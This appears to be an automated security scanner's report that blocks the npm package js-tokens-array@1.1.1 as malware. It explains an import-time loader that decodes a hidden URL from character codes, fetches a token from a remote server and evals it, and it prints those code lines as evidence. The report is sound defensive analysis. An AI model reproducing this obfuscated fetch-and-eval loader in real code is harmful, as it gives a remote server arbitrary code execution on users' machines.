js-tokens-array@1.1.1: Malicious npm security report (Block)

AI Security Review

scanned 2h ago · by lpm-firewall-ai

Importing the main entry immediately retrieves and executes code controlled by a remote server. The fetched payload can run with the importing process's permissions.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

Importing or requiring the package entrypoint.

Impact

Arbitrary remote code execution in the consumer process.

Mechanism

Obfuscated remote payload fetch followed by eval.

Attack narrative

The entrypoint calls getToken immediately. It decodes a remote URL from numeric character codes, fetches JSON from that server, extracts token, and passes it to eval. The server can therefore change the executed code after publication without changing the package tarball.

Rationale

This is an import-time remote code execution loader with an intentionally obscured endpoint. It is concrete malicious behavior, regardless of the absence of lifecycle scripts.

Evidence

package.jsonindex.js

Network endpoints1

access-token-delta.vercel.app/

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

On import, the package fetches a remote response and executes its token field with eval.
The remote URL is hidden as character codes and resolves to https://access-token-delta.vercel.app/.

Evidence against

The manifest contains no npm lifecycle scripts.
The inspected code shows no direct credential harvesting or local file writes, but remote code can add either behavior.

Behavioral surface

Source

EvalNetwork

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 509 B of source

Source & flagged code

5 flagged

index.jsView file

•matchType = normalized_sha256 matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = a7d6221d2b66ecbb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

10const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token)

High

Ai Review Evidence

On import, the package fetches a remote response and executes its token field with eval.

index.jsView on unpkg · L10

3const array = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 99, 99, 101, 115, 115, 45, 116, 111, 107, 101, 110, 45, 100, 101, 108, 116, 97, 46, 118, 101, 114, 99, 101, 108, 46, 97, 112, 112, 47 ] const { token } = await (await fetch(String.fromCharCode(...array))).json();

High

Ai Review Evidence

The remote URL is hidden as character codes and resolves to https://access-token-delta.vercel.app/.

index.jsView on unpkg · L3

11console.log(token) L12: eval(token) L13:

Low

Eval

Package source references a known benign dynamic code generation pattern.

index.jsView on unpkg · L11

Source & flagged code

5 flagged · loading source

index.jsView file

•matchType = normalized_sha256 matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = a7d6221d2b66ecbb signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = common-array-token@1.0.0 matchedPath = index.js matchedIdentity = npm:Y29tbW9uLWFycmF5LXRva2Vu:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

10const { token } = await (await fetch(String.fromCharCode(...array))).json(); console.log(token) eval(token)

High

Ai Review Evidence

On import, the package fetches a remote response and executes its token field with eval.

index.js

Findings

4 High1 Medium1 Low

HighKnown Malware Source Similarityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

MediumNetwork

LowEvalindex.js